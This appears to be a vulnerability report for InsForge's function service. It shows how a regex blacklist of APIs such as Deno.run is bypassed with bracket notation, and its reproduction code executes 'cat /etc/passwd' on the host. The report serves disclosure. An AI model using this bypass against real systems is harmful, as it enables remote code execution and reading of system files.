Description

The FunctionService currently relies on a regex-based blacklist in backend/src/services/functions/function.service.ts to prevent the use of dangerous APIs such as Deno.run, process.exit, or child_process.

However, this approach is fundamentally insecure as it only checks for literal string matches. An attacker can easily bypass these security checks using standard JavaScript techniques like bracket notation, global scope references, or obfuscation, leading to Remote Code Execution (RCE) on the host system (especially for self-hosted environments).

How to reproduce

1. Open the InsForge Dashboard and navigate to the Functions section.
2. Create a new function with the following "obfuscated" code that bypasses the /Deno.run/ regex check:

export default async function(req) {
  // This bypasses the regex but executes the same high-risk command
  const action = "run";
  const process = await Deno[action](<{
    cmd: ["cat", "/etc/passwd"],
    stdout: "piped"
  }>);
  
  const output = await process.output();
  return new Response(new TextDecoder().decode(output));
}

1. Deploy and Invoke the function.
2. Result: The function successfully accesses the host's filesystem, proving the sandbox has been bypassed.

Screenshot